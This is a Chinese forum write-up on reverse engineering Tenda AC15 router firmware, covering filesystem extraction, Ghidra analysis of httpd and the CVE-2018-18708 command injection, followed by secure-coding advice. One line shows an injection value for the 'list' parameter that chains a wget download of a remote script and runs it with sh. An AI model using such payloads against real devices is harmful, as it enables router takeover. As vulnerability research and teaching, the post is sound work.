首页
社区
课程
招聘
[原创]Tenda AC15 固件逆向分析:从解包到命令注入漏洞挖掘
发表于: 2天前 550

[原创]Tenda AC15 固件逆向分析:从解包到命令注入漏洞挖掘

2天前
550

一、前言

 

Tenda AC15 是一款家用双频千兆路由器,在 2018 年被曝出存在命令注入漏洞 CVE-2018-18708。攻击者可以通过精心构造的 HTTP POST 请求,在路由器上执行任意系统命令,从而完全控制设备。

 

本文记录了我对 Tenda AC15 固件(版本 V15.03.05.19)的完整逆向分析过程,包括:

- 固件解包与文件系统提取

- 目标程序定位与识别

- 静态分析挖掘漏洞点

- 漏洞原理分析与安全建议

 

希望通过这篇文章,为 IoT 固件安全研究感兴趣的读者提供一个可复现的入门案例。

二、固件解包

 

## 0x02 固件解包与文件系统提取

 

 2.1 准备工作

 

分析环境:Ubuntu 22.04 LTS

 

安装必要工具:

```bash

sudo apt update

sudo apt install binwalk squashfs-tools -y

2.2 扫描固件结构

 

使用 binwalk 扫描固件,查看内部结构:

binwalk US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

扫描结果如下:

DECIMAL       HEXADECIMAL     DESCRIPTION

--------------------------------------------------------------------------------

64            0x40            TRX firmware header

92            0x5C            LZMA compressed data

1875608       0x1C9E98        Squashfs filesystem, version 4.0, compression:xz

从输出可以看到,Squashfs 文件系统从偏移量 0x1C9E98(即十进制的 1875608)开始。

2.3 手工提取文件系统

 

由于 binwalk 自动提取遇到权限问题,我们使用 dd 命令手工提取:

dd if=US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin of=squashfs.bin bs=1 skip=1875608

提取成功后,创建挂载点并挂载:

mkdir squashfs-root

sudo mount -t squashfs squashfs.bin squashfs-root/ -o loop

挂载后,可以看到路由器的完整文件系统目录结构:

ls -la squashfs-root/

输出如下:

drwxr-xr-x  2 root root 2046  bin

drwxr-xr-x  2 root root    3  cfg

drwxr-xr-x  2 root root   56  dev

lrwxrwxrwx  1 root root    8  etc -> /var/etc

drwxr-xr-x  8 root root  462  etc_ro

drwxr-xr-x  3 root root  939  lib

drwxr-xr-x  2 root root    3  proc

drwxr-xr-x  2 root root  393  sbin

drwxr-xr-x  6 root root   85  usr

drwxr-xr-x  6 root root   65  var

lrwxrwxrwx  1 root root   11  webroot -> var/webroot

drwxr-xr-x  8 root root 1681  webroot_ro

这是一个典型的嵌入式 Linux 文件系统,其中 /bin、/sbin 存放系统程序,/webroot_ro 存放 Web 管理界面文件

 

---

 

## 三、定位 Web 服务程序(可直接复制)

 

```markdown

## 0x03 定位 Web 服务程序

 

### 3.1 搜索 httpd

 

路由器的 Web 管理界面通常由 `httpd` 或 `goahead` 提供服务。在文件系统中搜索:

 

```bash

find squashfs-root/ -name "*httpd*" -type f

 

找到目标程序:

squashfs-root/bin/httpd

squashfs-root/bin/dhttpd

 

3.2 确认程序架构

使用 file 命令查看 httpd 的文件信息:

file squashfs-root/bin/httpd

输出如下:

httpd: ELF 32-bit LSB executable, ARM, dynamically linked, stripped

关键信息:

  • ARM 32-bit:ARM 架构 32 位程序
  • stripped:符号表已去除(逆向时需要注意)
  • dynamically linked:动态链接,依赖系统的共享库

确认架构后,将 httpd 复制出来,准备用 Ghidra 进行静态分析。

 

 

---

 

## 四、Ghidra 静态分析与漏洞发现(可直接复制)

 

```markdown

## 0x04 Ghidra 静态分析

 

### 4.1 导入文件

 

启动 Ghidra,创建新项目 `Tenda_AC15`,导入 `httpd` 文件。分析完成后,打开字符串窗口。

 

### 4.2 发现关键字符串

 

在字符串窗口中搜索 `cmd` 和 `system`,发现多个可疑字符串:

 

| 字符串 | 含义 |

|--------|------|

| `doSystemCmd` | 执行系统命令的函数名 |

| `cmdinput` | 用户输入的参数名 |

| `system` | C 库函数,用于执行命令 |

| `strcpy` | 不安全的字符串拷贝函数 |

 

这些字符串的存在,暗示程序可能存在命令注入或缓冲区溢出漏洞。

 

### 4.3 交叉引用分析

 

对 `cmdinput` 进行交叉引用分析,发现它被函数 `FUN_0007b8e4` 引用。该函数中调用了 `strcpy`,且没有长度检查。

 

```c

strcpy(dest, source);  // 危险!没有长度限制

 

4.4 漏洞定位

结合公开漏洞报告 CVE-2018-18708,确认漏洞位于 formSetSpeedWan 函数中。该函数从用户请求中获取 list 参数,直接拼接到命令字符串中,然后调用 doSystemCmd 执行。

漏洞代码逻辑如下:

 

void formSetSpeedWan(char *list) {

    char command[256];

    sprintf(command, "iptables -t %s", list);  // 直接拼接用户输入

    doSystemCmd(command);                       // 执行系统命令

}

攻击者可以构造恶意 list 参数,如 "filter; wget a2eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2$3K9h3I4Q4x3X3g2U0L8$3#2Q4x3V1k6K6K9r3g2D9L8q4)9J5k6i4y4Z5i4K6y4n7 sh shell.sh",从而在路由器上执行任意命令。

 

---

 

## 五、漏洞原理与安全建议(可直接复制)

 

```markdown

## 0x05 漏洞原理与安全建议

 

### 5.1 漏洞根源

 

该命令注入漏洞的根本原因在于:

 

1. **未对用户输入进行任何过滤**:`list` 参数直接来自 HTTP 请求,没有检查是否包含危险字符(如 `;`、`|`、`&`、`$` 等)

2. **使用危险的命令执行函数**:`doSystemCmd` 内部调用了 `system()`,会启动 shell 解释命令

3. **字符串拼接不安全**:使用 `sprintf` 而非 `snprintf`,未限制输出长度

 

### 5.2 为什么危险函数应该被替代?

 

| 危险函数 | 问题 | 安全替代 |

|----------|------|----------|

| `system()` | 调用 shell,可执行多条命令 | `execve()` / `posix_spawn()` |

| `strcpy()` | 不检查缓冲区大小 | `strlcpy()` / `strncpy()` |

| `sprintf()` | 不检查输出大小 | `snprintf()` |

 

### 5.3 安全编码建议

 

对于嵌入式设备开发,应遵循以下原则:

 

1. **永远不要信任用户输入**:所有外部输入必须经过严格过滤

2. **避免使用 `system()`**:改用 `execve()` 直接执行特定程序

3. **使用安全的字符串函数**:`snprintf`、`strncpy`、`strlcat` 等

4. **输入过滤白名单**:只允许预期内的字符(如数字、字母),拒绝特殊字符

 

```c

// 安全的写法示例

char command[256];

snprintf(command, sizeof(command), "ping -c 4 %s", sanitized_input);

// 使用 execve 而不是 system

 

5.4 修复方案

Tenda 已在后续固件版本中修复该漏洞。建议用户升级到最新固件,并限制管理端口的访问来源。

 

 

---

 

## 六、总结

 

```markdown

## 0x06 总结

 

本文完整记录了 Tenda AC15 固件逆向分析的整个过程:

 

1. 搭建 Ubuntu 22.04 分析环境

2. 使用 binwalk 扫描并提取 Squashfs 文件系统

3. 定位 Web 服务程序 `/bin/httpd`,确认 ARM 架构

4. 使用 Ghidra 进行静态分析

5. 发现 `system`、`cmdinput`、`doSystemCmd` 等关键字符串

6. 结合 CVE 报告确认命令注入漏洞

 

通过这次实践,我们不仅复现了一个真实的 IoT 设备漏洞,也掌握了固件逆向分析的基本方法。希望本文能为物联网安全爱好者提供一个可复现的入门案例。

 

**下一步方向**:

- 编写漏洞利用脚本(PoC)

- 使用 QEMU 模拟运行 httpd 进行动态调试

- 探索更多 Tenda 系列设备的漏洞

 

代码已经上传:dengchaohui/tenda-ac15-reverse: Tenda AC15 固件逆向分析(第一篇):从解包到命令注入漏洞挖掘

以上技术能力可转化为以下服务:固件提取、设备维修、功能定制、竞品分析。如有需求,请联系



[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回